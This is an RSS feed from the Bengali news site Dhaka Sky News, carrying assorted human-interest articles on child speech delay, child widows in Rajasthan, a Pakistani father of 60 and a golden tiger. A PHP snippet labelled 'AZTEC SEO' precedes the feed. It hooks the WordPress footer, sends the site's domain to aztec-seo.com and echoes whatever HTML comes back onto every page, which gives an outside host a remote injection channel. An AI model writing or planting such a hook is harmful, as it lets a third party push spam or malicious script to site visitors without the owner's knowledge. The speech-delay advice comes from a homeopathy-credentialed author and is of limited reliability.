/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); বিচিত্র – Dhaka Sky News https://www.dhakaskynews.com Dhaka Sky News Mon, 03 Feb 2025 13:09:54 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.9 শিশু বিলম্বে কথা বলার কারণ ও প্রতিকার https://www.dhakaskynews.com/bichitra/2025/02/03/News_ID-5491/ https://www.dhakaskynews.com/bichitra/2025/02/03/News_ID-5491/#respond Mon, 03 Feb 2025 13:07:22 +0000 https://www.dhakaskynews.com/?p=5491  

কীভাবে বুঝবেন শিশুর স্পিস ডিলে হচ্ছে বা বিলম্বে কথা বলছে?

একটি দুই বছর বয়সী শিশু প্রায় ৫০টি শব্দ বলতে পারে এবং দুই থেকে তিনটি শব্দের বাক্যও ব্যবহার করতে পারে। তিন বছরের মধ্যে তার সাধারণ বাক্য বলার যোগ্যাতা অর্জন করবে। তিন-চারটি শব্দ বলার চেষ্টা করে। এমতাবস্থায় কোনও শিশু যদি তা বলতে না পারে তাহলে তাকে স্পিস ডিলের শ্রেণিতে রাখা যেতে পারে। এটি যদিও বিশেষ ভয়ের কারণ নয়। তবে কখনও কখনও এটি শ্রবণ সমস্যা বা স্নায়ুবিক কারণেও হতে পারে।

কেন স্পিস ডিলে হয়?
বিশেষজ্ঞদের মতে, শিশুরা যদি জন্মের সময় দেরীতে কাঁদে, তারা দেরীতে কথাও বলতে শুরু করে। এছাড়া গর্ভাবস্থায় মায়ের জন্ডিজ হলে বা স্বাভাবিক প্রসবের সময় শিশুর মস্তিষ্কের বাম পাশে আঘাত পেলে শিশুর শ্রবণশক্তি কমে যেতে পারে। যে শিশুরা ঠিকমত শুনতে পায় না তাদের সব কথা লিখতে ও বলতে অসুবিধা হয়।

স্পিস ডিলে কীভাবে চেনা য়ায়
১। সাধারণত : ১৮ মাস বয়সের মধ্যে শিশু কিছু সহজ কথা বলতে শুরু করে। যেমন- মা, বাবা ইত্যাদি।
২। দুই বছর বয়সী একটি শিশু কমপক্ষে ২৫টি শব্দ ব্যবহার করতে পারে। অর্থাৎ যদি শিশু আড়াই বছর বয়সে দুই শব্দের বাক্য না বলে। তিন বছর বয়সে কমপক্ষে প্রশ্ন করলে উত্তর দিতে না পারে।
৩। কোন জিনিসের নাম ধরে না ডাকা বা কিছু জিজ্ঞেস করতে চায় না।
৪। গবেষনায় দেখা যায়- প্রতি পাঁচজন শিশুর মধ্যে একজন শিশু অন্যান্য শিশুদের তুলনায় কথা বার্তায় পিছিয়ে থাকে। আচরণ গত সমস্যাও দেখা যায়।

এমন পরিস্থিতিতে মা-বাবার করণীয় কী ?
একে অপরকে অনুসরণ করার একটি খেলা খেলতে হবে। এতে শিশুটি কথা বলার সাহস পাবে।
শিশুর সাথে ধীরে ধীরে কথা বলুন। শিশুটি যদি কিছুটা বাক্য বলার চেষ্টা তাহলে আপনি তার পূরা বাক্যটি বলে দিন। শিশুর সামনে গুন গুন শব্দ করলেও এতে উপকার হয়। যদি শিশুর সমস্যা পরীক্ষায় ধরা পড়ে তাহলে দেরী না করে শিশুকে সঠিক চিকিৎসা দেয়া দরকার।

ডাঃ মোঃ শওকত হোসেন
MBA (HRM) MA, DHMS ( DHMC)

সিনিয়র কনসালটেন্ট, চিকিৎসক ও অটিজম চিকিৎসক।
আরএইচ হোম সেন্টার, ৭৪/বি/১, গ্রিনরোড, ফার্মগেট, ঢাকা। মোবাইল : ০১৩১০-৫৮০৩০৫

]]>
https://www.dhakaskynews.com/bichitra/2025/02/03/News_ID-5491/feed/ 0
নিজেকে বিয়ে তরুণীর, ২৪ ঘণ্টা না পেরোতেই চান ডিভোর্স https://www.dhakaskynews.com/bangladesh/2023/03/13/News_ID-4520/ https://www.dhakaskynews.com/bangladesh/2023/03/13/News_ID-4520/#respond Mon, 13 Mar 2023 05:23:19 +0000 https://www.dhakaskynews.com/?p=4520 সামাজিক যোগাযোগমাধ্যমে এসে নিজেকে বিয়ের কথা জানিয়েছেন এক তরুণী। পোস্ট করেছেন বিয়ের পোশাকে নিজের আকর্ষণীয় ছবিও। তবে বিষয়টি স্বাভাবিকভাবে নেননি ভক্তরা, জড়িয়েছেন বিতর্কে। এদিকে তরুণীর মোহভঙ্গ হওয়ায় বিয়েটা বোধ হয় টিকছে না। ২৪ ঘণ্টা না পেরোতেই এখন তিনি ডিভোর্স চান।
২৫ বছর বয়সী ওই তরুণীর নাম সোফি মাউরে, যিনি গত ফেব্রুয়ারিতে নিজেকে বিয়ে করেন। এ বিষয়ে তিনি সামাজিক যোগাযোগমাধ্যমে দাবি করেন, তিনি নিজের সঙ্গে বিয়ে বন্ধনে আবদ্ধ হয়েছেন। বিশেষ এ দিনে তিনি নিজের জন্য তৈরি করেছেন বিয়ের কেক, কিনেছেন পোশাক।
এ পোস্টের পর থেকেই বিতর্কে জড়িয়েছেন নেটিজেনরা। কেউ কেউ সোফিকে সমর্থন করলেও অনেকে এ বিয়ের ঘটনাকে ‘মনোযোগ আকর্ষণের’ চেষ্টা বলে অভিহিত করেছেন।

]]>
https://www.dhakaskynews.com/bangladesh/2023/03/13/News_ID-4520/feed/ 0
স্বামী হারানোর ‘শাস্তি’ পায় নাবালিকা বধূরা, চলে বেচাকেনা https://www.dhakaskynews.com/international/2023/02/10/News_ID-3977/ https://www.dhakaskynews.com/international/2023/02/10/News_ID-3977/#respond Fri, 10 Feb 2023 05:32:29 +0000 https://www.dhakaskynews.com/?p=3977 বাল্যবিয়ে ও বৈধব্যের অভিশাপ থেকে মুক্ত হতে পারেনি গ্রামীণ সমাজ। উন্নত সমাজের নারীরা যে যুগে নভোমণ্ডল অভিযান করছে সে যুগে এসেও পিছিয়ে পড়া সমাজ রয়ে গেছে প্রাচীন যুগপ্রথার অন্ধকারে। আনন্দবাজারের অনুসন্ধানে উঠে এসেছে এমনই চিত্র। ঢাকা স্কাইনিউজের পাঠকগণের উদ্দেশ্যে প্রতিবেদনটি হুবহু তুলে ধরা হলো।

অকালে বিয়ে, বৈধব্যের অভিশাপ ভোগ করে গ্রামের মেয়েরা। কারও বিয়ে হয়ে যায় ৭ বছরেই। কেউ কেউ ১৫ বছর বয়সে হয় দুই সন্তানের জননী। প্রাচীন প্রথায় আবদ্ধ ভারতের এক রাজ্য।

মেয়ের বয়স ১০ থেকে ১২ বছর পেরোলেই বিয়ের সানাই বেজে ওঠে বাড়িতে। (সু)পাত্রের হাতে মেয়েকে সঁপে দিয়ে দায়মুক্ত হন বাবা-মা। পুতুল খেলার বয়সে গুটিগুটি পায়ে শ্বশুরবাড়ি যায় কনে। কখনও কখনও বিয়ের বয়স ৭ কিংবা ৮ বছর।

আঠারো কিংবা উনিশ শতকের ভারতে এই ছবি অচেনা ছিল না। বরং কম বয়সে মেয়ের বিয়ে দেওয়াই ছিল সমাজের রীতি। কিন্তু ২০২৩ সালে দাঁড়িয়েও বাল্যবিবাহ এবং নাবালিকাদের বৈধব্যের ছবিটা পাল্টায়নি রাজস্থানে।

পালি, ভিলওয়াড়া, রাজসমন্দ— রাজস্থানের একাধিক জেলায় প্রত্যন্ত গ্রামগঞ্জে এখনও প্রচলিত রয়েছে বাল্যবিবাহ। ছোট ছোট মেয়েদের বিয়ে হয়ে যায়। তার পর যদি অকালে নেমে আসে বৈধব্যের অভিশাপ, বালিকার জীবন হয়ে ওঠে দুর্বিষহ।

বিয়ের পর স্বামী মারা গেলে বিধবা কন্যাকে পরবর্তী ৬ মাস কঠোর অনুশাসনে রাখা হয়। রাজস্থানে এই প্রথার নাম কোনা প্রথা। প্রাচীন কালের এই প্রথার দাপট ২০২৩ সালেও সমান।

কোনা প্রথা অনুযায়ী, ছোট ছোট বিধবা মেয়েদের স্বামী মারা যাওয়ার পর পরই একটি বদ্ধ ঘরে ‘নির্বাসন’-এ পাঠানো হয়। টানা ৬ মাস ওই ঘরেই থাকতে হয় মেয়েদের। তারা না পারে কারও সঙ্গে কথা বলতে, না পারে কারও মুখ দেখতে। সূর্যের আলোও তাদের ছুঁতে পারে না।

বিধবা কন্যার সন্তানকেও তার কাছ থেকে কেড়ে নেওয়া হয় ওই ৬ মাস। প্রতি দিন ভোরবেলা সূর্য ওঠার আগে তাকে এক বার করে ঘর থেকে বেরিয়ে স্নান ও প্রাতঃকৃত্য সেরে আসতে হয়। তার পর সারা দিনে প্রস্রাবের জন্যেও ঘর থেকে বেরোনোর অনুমতি নেই কারও।

কেন এই নির্বাসন? বলা হয়, স্বামীর মৃত্যুর জন্য দায়ী ওই কমবয়সি নাবালিকাই। তাই তার ছায়াটুকুও অমঙ্গলের বার্তাবহ। সন্তানের উপর সেই ছায়া যাতে না পড়ে, তাই বদ্ধ ঘরে সরিয়ে রাখা হয় মাকে।

১৪ কিংবা ১৫ বছর বয়সেই এই কঠিন বৈধব্য সহ্য করতে হয় রাজস্থানের গ্রামে গ্রামে বেড়ে ওঠা হাজারো মেয়েকে। স্বামী মারা যাওয়ার পর তাদের আর বিয়ে করারও উপায় নেই। বিয়ের কথা ভাবলেও ধেয়ে আসে সমাজের তর্জনী।

সংসার পাতার উপায় যে একেবারে নেই, তা অবশ্য নয়। কোনও কোনও ক্ষেত্রে এই সমস্ত বিধবা কন্যাকে নিয়ে ব্যবসা হয়। দর কষাকষি করে মেয়েদের শ্বশুরবাড়ি থেকে কিনে নিয়ে যান অন্য কোনও গৃহকর্তা।

নতুন বাড়িতে বিধবা কন্যা স্ত্রীর মর্যাদা পায় না। তাকে দিয়ে বাড়ির সব কাজ করানো হয়। মনিবের সন্তানও গর্ভে ধারণ করে সে। বিধবা নাবালিকা তার শ্বশুরবাড়ি এবং বাপের বাড়ি, সব ক্ষেত্রেই হয়ে পড়ে বাড়তি বোঝা।

কোনও শুভ কাজেও ঠাঁই হয় না এই কন্যাদের। নিকট আত্মীয়ের বিয়ে কিংবা রাখিপূর্ণিমা, কোনও অনুষ্ঠানেই ইচ্ছা থাকলেও অংশ নিতে পারে না তারা। গয়নাগাটি ছেড়ে সাধারণ পোশাকে দিন কাটাতে হয়।

রাজস্থানের গ্রামে গ্রামে মেয়েদের কম বয়সে বিয়ে হয়ে যায়, এ কথা কারও অজানা নয়। অভিযোগ, সব জেনেশুনেও সরকার উদাসীন। যে যুগে মেয়েরা মাটি ছেড়ে আকাশ ছুঁয়েছে, পাড়ি দিয়েছে মহাকাশে, সেই যুগেও ভারতের বৃহত্তম রাজ্যের অলিগলিতে রয়ে গিয়েছে গাঢ় অন্ধকার।

রাজস্থানে বাল্যবিবাহ, কোনা প্রথার বিরুদ্ধে সাধ্যমতো প্রচার চালায় স্বেচ্ছাসেবী সংস্থাগুলি। কিন্তু তাতে বিশেষ লাভ হয় না। অভিযোগ, সরকারের তরফে মাঝেমধ্যে প্রচারমূলক অভিযান চালানো হয়। তবে তা জোরদার নয়।

গ্রামে প্রচলিত আরও এক রীতি অনুযায়ী, পরিবারের কোনও সদস্যের মৃত্যু হলে ওই দিনেই বাড়ির মেয়ের বিয়ে দিতে হয়। যে বয়সের মেয়েই হোক, মৃতের পরিবারে মেয়ে থাকলে সেই রাতে তার বিয়ে হবেই। মাঠে নিয়ে গিয়ে কোনও রকমে চারহাত এক করে দেওয়া হয় পাত্র-পাত্রীর।

অভিযোগ, এই সমস্ত ক্ষেত্রে অধিকাংশ সময়েই মেয়ের বিয়ে স্থির করার সময় পান না মা-বাবাও। গ্রামের বর্ষীয়ান বাসিন্দারাই বিয়ের আয়োজন করে ফেলেন।

রাজস্থান মহিলা কমিশনের প্রাক্তন প্রেসিডেন্ট লাদ কুমারী জৈন দৈনিক ভাস্করকে বলেন, ‘‘বাল্যবিবাহ রোখার জন্য আইন প্রণয়ন করা হয়েছে। কিন্তু মানসিকতায় কোনও পরিবর্তন আসেনি। এ সব ক্ষেত্রে সরকারও খুব একটা কড়া নয়। সরকারি পরিসংখ্যানেও বাল্যবিধবা মেয়েদের কোনও উল্লেখ থাকে না।’’

সামাজিক প্রথার নেপথ্যে অশিক্ষা, দারিদ্র এবং সচেতনতার অভাবকে দায়ী করেন অনেকে। একুশ শতকের সমাজেও তাই রয়ে গিয়েছে উনিশ শতক। রাজস্থানের গ্রামগুলিতে উন্নয়নের পালে হাওয়া লাগেনি কখনও। উনিশ শতকেই থমকে রয়েছে গ্রামবাসীদের মনন।

শেখ দৌলত, ঢাকা।

]]>
https://www.dhakaskynews.com/international/2023/02/10/News_ID-3977/feed/ 0
বিয়ের জন্য পাত্রী খুঁজছেন ৬০ সন্তানের বাবা https://www.dhakaskynews.com/international/2023/01/03/News_ID-3411/ https://www.dhakaskynews.com/international/2023/01/03/News_ID-3411/#respond Tue, 03 Jan 2023 07:02:32 +0000 https://www.dhakaskynews.com/?p=3411 সরদার হাজি জান মুহাম্মদ খান গত রোববার ৬০ সন্তানের বাবা হয়েছেন। তিনি পাকিস্তানের বেলুচিস্তানের বাসিন্দা। এর মধ্যে পাঁচটি সন্তান মারা গেছে, বাকি সবাই সুস্থভাবে বেঁচে আছে। তিনি আরও সন্তানের বাবা হতে চান। এ জন্য চতুর্থবার বিয়ে করার পরিকল্পনাও করেছেন। খবর বিবিসি ও পাকিস্তান অবজারভারের।

সরদার জান মুহাম্মদ ৫০ বছর বয়সে পা রেখেছেন। থাকেন কোয়েটা শহরের ইস্টার্ন বাইপাস এলাকায়। তিনি খালজি গোত্রের সদস্য এবং পেশায় চিকিৎসক। ওই এলাকায় তার একটি ক্লিনিক রয়েছে।

জান মুহাম্মদ তার ৬০তম সন্তানের নাম রেখেছেন খুশাল খান। বিবিসি তার কাছে জানতে চেয়েছিল, এত সন্তানের নাম মনে থাকে কিনা। জবাবে তার পাল্টা প্রশ্ন, ‘কেন নয়?’

চতুর্থ বিয়ে করতে চান এবং সে জন্য পাত্রী খুঁজছেন সরদার জান মুহাম্মদ খান। তিনি বলেন, ‘সব বন্ধুকে বলে রেখেছি, আমার চতুর্থ বিয়ের জন্য পাত্রী খুঁজে দিতে। বয়স হয়ে যাচ্ছে, তাই তাড়াতাড়ি বিয়ে করতে চাই।’

জান মুহাম্মদের দাবি, তিনি একাই যে আরও সন্তান চান বিষয়টি তেমন নয়। তার স্ত্রীরাও আরও সন্তান নিতে আগ্রহী। সন্তানদের সব সময় খুশি রাখার চেষ্টা করেন সরদার জান মুহাম্মদ এবং এর জন্য তিনি কখনো কারও কাছে হাত পাতেননি। বরং কঠোর পরিশ্রম করছেন। সব সন্তানকেই লেখাপড়া করাচ্ছেন।

সন্তান পালনে কারও কাছে সাহায্য না চাইলেও সরদার জান মুহাম্মদ বলেন, রাষ্ট্রের নাগরিক হিসেবে তার সন্তানদেরও সব সুযোগ-সুবিধা পাওয়ার অধিকার রয়েছে। অধিক সন্তান থাকায় রাষ্ট্রীয়ভাবে তাকে কোনো ভাতা দিলে সুবিধা হতো বলে দাবি জানান এ পাকিস্তানি।

জান মুহাম্মদ খান জানান, তিনি নিজে বেড়াতে পছন্দ করেন এবং সন্তানদের নিয়ে পাকিস্তানের বিভিন্ন জায়গায় বেড়াতে যেতে চান। বাচ্চারা যখন ছোট ছিল, তখন তাদের নিয়ে কোনো গাড়িতে চেপে ঘুরে আসা কঠিন ছিল না। কিন্তু এখন এক গাড়িতে সেটি আর সম্ভব হয় না।

জান মুহাম্মদ খানের দাবি, পাকিস্তান সরকার যদি তার সন্তানদের জন্য পরিবহণের ভাড়া কমিয়ে দেওয়ার ব্যবস্থা করত, তা হলে সহজেই সারা দেশ ঘুরতে পারতেন।

]]>
https://www.dhakaskynews.com/international/2023/01/03/News_ID-3411/feed/ 0
সাড়ম্বরে ২০২৩ সালকে বরণ করল বিশ্ব https://www.dhakaskynews.com/international/2023/01/01/News_ID-3353/ https://www.dhakaskynews.com/international/2023/01/01/News_ID-3353/#respond Sun, 01 Jan 2023 06:53:49 +0000 https://www.dhakaskynews.com/?p=3353 ২০২৩ সালকে সাড়ম্বরে বরণ করে নিয়েছে বিশ্ব। বিশ্বের বড় কোনো শহর হিসেবে ইংরেজি বছরকে সবার আগে বরণ করে নিয়েছে নিউজিল্যান্ডের অকল্যান্ড।

বিবিসি জানিয়েছে, শহরটির কেন্দ্রস্থলের এক হাজার ফুটেরও বেশি উচ্চতার স্কাই টাওয়ারে বর্ণিল আলোকচ্ছটার মধ্য দিয়ে নতুন বছরকে স্বাগত জানিয়ে উৎসবে মেতেছে দেশটির মানুষ।

নতুন বছরকে বরণ করতে অকল্যান্ডের স্কাই টাওয়ারে ঝুলন্ত একটি বিশাল ঘড়ির সময় দেখে রাত ১২টা বাজার জন্য অপেক্ষা করতে থাকে সেখানে জমায়েত মানুষজন। এরপর শুরু হয় কাউন্টডাউন। আর ১২টা বাজার সঙ্গে সঙ্গে আকাশে দেখা যায় আতশবাজির বর্ণিল ছটা।

আন্তর্জাতিক মান সময়ের তারতম্যের কারণে নতুন বছরকে আগে বরণ করার সুযোগ পায় এমন দেশগুলোর একটি নিউজিল্যান্ড। নতুন বছরকে আমন্ত্রণ জানানোর উৎসবে মেতে ওঠার ক্ষেত্রে বড় শহরগুলোর মধ্যে অকল্যান্ডের সুযোগ আসে সবার আগে।

অবশ্য বিশ্বে প্রথম দেশ হিসেবে নববর্ষ শুরু হয় সামোয়াতে। দেশটি নিউজিল্যান্ডের কাছাকাছি অবস্থিত। এক ঘণ্টা আগে সেখানে নতুন বছরের আগমন ঘটে।

অস্ট্রেলিয়ার সিডনি হারবারে গ্রিনিচ মান সময় ১৩টায় আতশবাজির মাধ্যমে নতুন বছরকে বরণ করা হয়। হাজার হাজার মানুষের উল্লাসে মুখরিত হয়ে ওঠে সিডনি। পর্যটনমুখ অপেরা হাউসের চারপাশেও আতশবাজির ঝলকানি মুগ্ধ হন উপস্থিতরা।

চীনে করোনাভাইরাস নিয়ে আতঙ্কের মধ্যেও নতুন বছরকে ব্যাপক জাঁকজমকপূর্ণভাবে বরণ করে নেওয়া হয়েছে। কয়েক বছর ধরে করোনার কঠোর নিয়ম পালনের পর সম্প্রতি কড়াকড়ি তুলে নেওয়া হলে এর সবচেয়ে বেশি ব্যবহার করে লোকজন প্রচুর ভিড় জমিয়েছে।

ব্রিটেনে ব্যাপক উৎসাহ-উদ্দীপনায় নতুন বছর বরণ করে নেওয়া হয়েছে। সেই সঙ্গে প্রয়াত রানিকে স্মরণ করে শ্রদ্ধা জানানো হয়েছে। এ ছাড়া ইউক্রেনের প্রতি সমর্থন অব্যাহত রাখারও বার্তা দেওয়া হয়েছে। সূত্র : বিবিসি।

]]>
https://www.dhakaskynews.com/international/2023/01/01/News_ID-3353/feed/ 0
ত্রিশ বছরে ৭০ নারীকে হত্যা, বাবার বিরুদ্ধে মেয়ের অভিযোগ https://www.dhakaskynews.com/international/2022/10/27/News_ID-3109/ https://www.dhakaskynews.com/international/2022/10/27/News_ID-3109/#respond Thu, 27 Oct 2022 08:54:41 +0000 https://www.dhakaskynews.com/?p=3109 মার্কিন যুক্তরাষ্ট্রের লোয়া অঙ্গরাজ্যের এক নারী অভিযোগ করেছেন, তার বাবা ৩০ বছরের বেশি ধরে একাই অন্তত ৭০ জন নারীকে হত্যা করেছেন। ওই নারীর দাবি, মরদেহগুলো পুঁতে রাখতে তিনি ও তার ভাইবোনরা বাধ্য হতেন।

এনডিটিভির খবরে জানা যায়, মরদেহগুলো থেকে একটি করে চিহ্ন নিজের কাছে রেখে দিতেন অভিযোগকারী ওই নারীর বাবা। পুরো ঘটনা শুনে স্তম্ভিত যুক্তরাষ্ট্রের লোয়া অঞ্চলের স্থানীয় পুলিশ কর্মকর্তারা।

তাদের মতে, এই অভিযোগ যদি সত্যি প্রমাণিত হয়, তাহলে যুক্তরাষ্ট্রের ইতিহাসে সবচেয়ে বেশি হত্যার রেকর্ড গড়বেন ওই নারীর বাবা।

অভিযোগকারী লুসি স্টাডি জানিয়েছেন, প্রায় ৩০ বছর ধরে অন্তত ৭০ জন নারীকে হত্যা করেছেন তার বাবা ডোনাল্ড ডিন স্টাডি। শুধু হত্যাই নয়, নিজের ছেলেমেয়েদের দিয়ে সেই মরদেহ পুঁতেও রাখতে বাধ্য করতেন ডোনাল্ড।

স্থানীয় পুলিশের প্রাথমিকভাবে অনুমান, মূলত যৌনকর্মীদের হত্যা করা হতো। নানাভাবে লোভ দেখিয়ে ওই নারীদের নিজের বাড়িতে ডেকে আনতেন ডোনাল্ড। তারপর হত্যা করতেন তাদের।

লুসি বলেছেন, মূলত ভারী জিনিস দিয়ে মাথায় আঘাত করে হত্যা করা হতো ওই নারীদের। তারপর ছেলেমেয়েদের ডেকে নিতেন ডোনাল্ড। ঠেলাগাড়িতে করে মৃতদেহ তুলে নিয়ে কাছেরই একটি কূপের মধ্যে ফেলে দেওয়া হতো।

মৃতদেহগুলোর উপরে মাটি চাপা দেওয়ার কাজ ছিল লুসি ও তার ভাইবোনদের। ভয়াবহ সেই অভিজ্ঞতার কথা বলতে গিয়ে লুসি জানিয়েছেন, বাবা শুধু বলতেন, কূপের কাছে চলে যাও। ব্যস, তারপর জানতাম আমাদের কী করতে হবে।

ঠিক কোন জায়গায় মৃতদেহগুলো পোঁতা হয়েছিল, সেই জায়গাটিও দেখিয়ে দিয়েছেন লুসি। শুধু প্রাণের ভয়ে প্রকাশ্যে বাবার বিরুদ্ধে মুখ খুলতে পারেননি তিনি।

স্থানীয় পুলিশের প্রধান কেভিন এইস্ট্রোপ বলেছেন, ওই জায়গায় কুকুর নিয়ে গিয়ে তল্লাশি চালানো হচ্ছে। মনে হচ্ছে, সেখানে সত্যিই প্রচুর মৃতদেহ রয়েছে। কিন্তু এখনো কোনো প্রমাণ পাওয়া যায়নি। আরো বিস্তারিতভাবে এই অভিযোগের তদন্ত করা হবে।

এদিকে ২০১৩ সালে ডোনাল্ড মারা গেছেন। ফলে এ ধরনের ভয়াবহ অভিযোগ প্রমাণ করা হলেও শাস্তি হওয়ার কোনো সম্ভাবনা নেই।

সূত্র: এনডিটিভি।

]]>
https://www.dhakaskynews.com/international/2022/10/27/News_ID-3109/feed/ 0
তুরস্কে ২,৫০০ বছর আগের ঐশী গ্রন্থ তাওরাত উদ্ধার https://www.dhakaskynews.com/international/2021/03/28/News_ID-2350/ https://www.dhakaskynews.com/international/2021/03/28/News_ID-2350/#respond Sun, 28 Mar 2021 08:00:24 +0000 https://www.dhakaskynews.com/?p=2350 তুরস্কের পুলিশ চোরাচালানকারীদের কাছ থেকে প্রায় আড়াই হাজার বছর আগের একটি ‘তাওরাত’ গ্রন্থ উদ্ধার করেছে।

তুরস্কের উত্তরাঞ্চলীয় সামসুন প্রদেশের পুলিশ জানিয়েছে, একটি সংঘবদ্ধ অপরাধী চক্র কিছু ঐতিহাসিক প্রত্নতাত্ত্বিক নিদর্শন পাচার করছে বলে খবর পাওয়ার পর তারা ওই চক্রকে ধরতে অভিযান চালায়।

অভিযানের এক পর্যায়ে প্রদেশের জানিক শহরের উপকণ্ঠে দু’টি ব্যক্তিগত গাড়িতে তল্লাশি চালানো হয়। এ সময় একটি গাড়ি থেকে প্রায় ২,৫০০ বছর আগের ঐশী গ্রন্থ তাওরাতের একটি কপি উদ্ধার করা হয়।

প্রকাশিত খবরে বলা হয়েছে, ১৯ পৃষ্ঠার গ্রন্থটি একটি চামড়ার বাক্সে আটকানো ছিল। ঐতিহাসিক এই ঐশী গ্রন্থ চোরাচালানের দায়ে এ পর্যন্ত পাঁচ জনকে আটকের কথা জানিয়েছে তুরস্কের পুলিশ।

আল্লাহর নবী হযরত মূসা (আ.)-এর ওপর তাওরাত নাজিল হয়েছিল। হযরত মূসা (আ.) তাঁর ভাই হযরত হারুন (আ.)কে নিয়ে বনি ইসরাইল জাতির মধ্যে এই তাওরাতের বাণী প্রচারণ করেন। তবে ইহুদি পুরোহিতরা পরবর্তীতে এই ঐশী গ্রন্থের বাণীকে পরিবর্তন করে ফেলে। আর ইসলামের নবী হযরত মুহাম্মাদ মুস্তফা (সা.)-এর ওপর পবিত্র কুরআন নাজিল হওয়ার পর মূল তাওরাত গ্রন্থের কার্যকারিতাও শেষ হয়ে যায়। সূত্র : পার্সটুডে

]]>
https://www.dhakaskynews.com/international/2021/03/28/News_ID-2350/feed/ 0
বিরল প্রজাতির একমাত্র সোনালি বাঘ https://www.dhakaskynews.com/bichitra/2020/07/15/News_ID-799/ https://www.dhakaskynews.com/bichitra/2020/07/15/News_ID-799/#respond Tue, 14 Jul 2020 20:24:10 +0000 https://www.dhakaskynews.com/?p=799 নিজের মতো দেখতে স্বজাতি সঙ্গি জোটে না তার। কারণ আর কেউ বেঁচে নেই সমগোত্রের। এই বিরাট পৃথিবীতে সে একা এবং অদ্বিতীয়। এ হেন একমাত্র সোনালি বাঘটির বসবাস ভারত শাসিত আসামের কাজিরাঙায়।

বাঘ এমনিতেই বিপন্ন প্রজাতির প্রাণী। ভারত ব্যাঘ্র সংরক্ষণকে গুরুত্ব দিয়ে দেখছে বহু বছর ধরে। পরিসংখ্যান বলছে, সম্প্রতি দেশে বাঘের সংখ্যা একটু হলেও বেড়েছে। এ হেন প্রাণীর বিশেষ প্রজাতির একমাত্র সদস্যও যে ভারতেই রয়েছে, অনেকেই জানতেন না। বিষয়টি মনে করিয়ে দিয়েছেন আইএফএস পরভিন কাসওয়ান। ওয়াইল্ড লাইফ ফটোগ্রাফার ময়ূরেশ হেন্দ্রের তোলা সোনালি বাঘের একটি ছবি পোস্ট করেন তিনি। এখন সেই ছবিই ভাইরাল। পোস্ট করে তিনি জানান, এই সোনালি বাঘ রয়েছে কাজিরাঙা ন্যাশনাল পার্কে।

পরভিনই জানিয়েছেন, এই সোনালি বাঘ আসলে রয়্যাল বেঙ্গল টাইগারই। জিনগত পরিবর্তনের কারণে রং হয়েছে সোনালি। চিত্রগ্রাহক ময়ূরেশ বাঘটির নাম দিয়েছেন গোল্ডি। পরভিন জানালেন, এমনিতে চিড়িয়াখানায় বা ব্যাঘ্র প্রজনন কেন্দ্রে সোনালি বাঘ রয়েছে। কৃত্রিমভাবে প্রজনন করানো হয়। কিন্তু খোলা বনে গোটা দুনিয়ায় একটিও নেই।

]]>
https://www.dhakaskynews.com/bichitra/2020/07/15/News_ID-799/feed/ 0
হাসপাতালে মালিকের মৃত্যু : তবু ৩ মাস অপেক্ষায় পালিত কুকুর https://www.dhakaskynews.com/bichitra/2020/06/10/News_ID-418/ https://www.dhakaskynews.com/bichitra/2020/06/10/News_ID-418/#respond Wed, 10 Jun 2020 10:22:45 +0000 https://www.dhakaskynews.com/?p=418  

করোনায় আক্রান্ত মালিকের মৃত্যু হয়েছে হাসপাতালে। তবুও হাসপাতালের গেটে ৩ মাস তার অপেক্ষায় পালিত কুকুর জিয়াবাও। সে জানে না তার মালিক মারা গেছেন। ৭ বছরের মংগ্রেল কুকুরটি চীনের এক হাসপাতালে প্রথমবার দেখা যায় ফেব্রুয়ারি মাসে। তারপর থেকে তাকে সেখানে প্রায় টা’না তিন মাস বসে থাকতে দেখেন হাসপাতালের কর্মীরা। অনেক চেষ্টা করা হয় তাকে সেখানে থেকে সরানোর জন্য। কিন্তু সে বার বার ফিরে আসে।

ওই ব্যক্তি মধ্য চীনের হুবেই প্রদেশে উহান তাইকাং হাসপাতালে করোনায় আক্রান্ত হয়ে ভর্তি হন । তার পোষ্যটি তারপর হাসপাতালে উপস্থিত হয়। অপেক্ষা করতে থাকে কবে ফিরবেন তিনি। কিন্তু ভর্তি হওয়ার পাঁচ দিন পরেই মারা যান ওই ব্যক্তি।

হাসপাতালের কর্মীরা তাকে সেখান থেকে দূরে সরিয়ে নিয়ে যান। কিন্তু সব চেষ্টাই বৃথা, ফের হাসপাতালে ঢুকে পড়ে জিয়াবাও। হাসপাতাল কর্মীরাও তার মনের অবস্থা বুঝতে পারেন। তারা তার খাবারের ব্যবস্থা করেন। একটি কুকুরের দিকে নজর দেওয়া তাদের পক্ষেও সম্ভব ছিল না। এই করে প্রায় তিন মাস কেটে যায়।

আস্তে আস্তে স্বাভাবিক হতে শুরু করে চীনের পরিস্থিতি। হাসপাতালের কাছের সুপারমার্কেটিও খোলে। তখন সুপারমার্কেট থেকে তার খাবারের ব্যবস্থা করা হয়। সুপারমার্কেটের মালিক জিয়াবাওয়ের কাহিনি শুনে তাকে নিজের দোকানে নিয়ে আসেন। পরে জিয়াবাওকে উহানের একটি ছোট পশু সংরক্ষণ কেন্দ্রে পাঠানো হয়।

]]>
https://www.dhakaskynews.com/bichitra/2020/06/10/News_ID-418/feed/ 0
রং বদলায় যে জলপ্রপাত https://www.dhakaskynews.com/bichitra/2020/05/12/News_ID-155/ https://www.dhakaskynews.com/bichitra/2020/05/12/News_ID-155/#respond Tue, 12 May 2020 13:38:59 +0000 https://www.dhakaskynews.com/?p=155 আমরা জানি, পানির কোনো রং থাকে না। এও জানি, পৃথিবীর সব পাহাড়ি অঞ্চলেই কমবেশি জলপ্রপাত রয়েছে। তবে এবার ব্যতিক্রম এক জলপ্রপাতের সন্ধান পাওয়া গেছে কানাডায়।

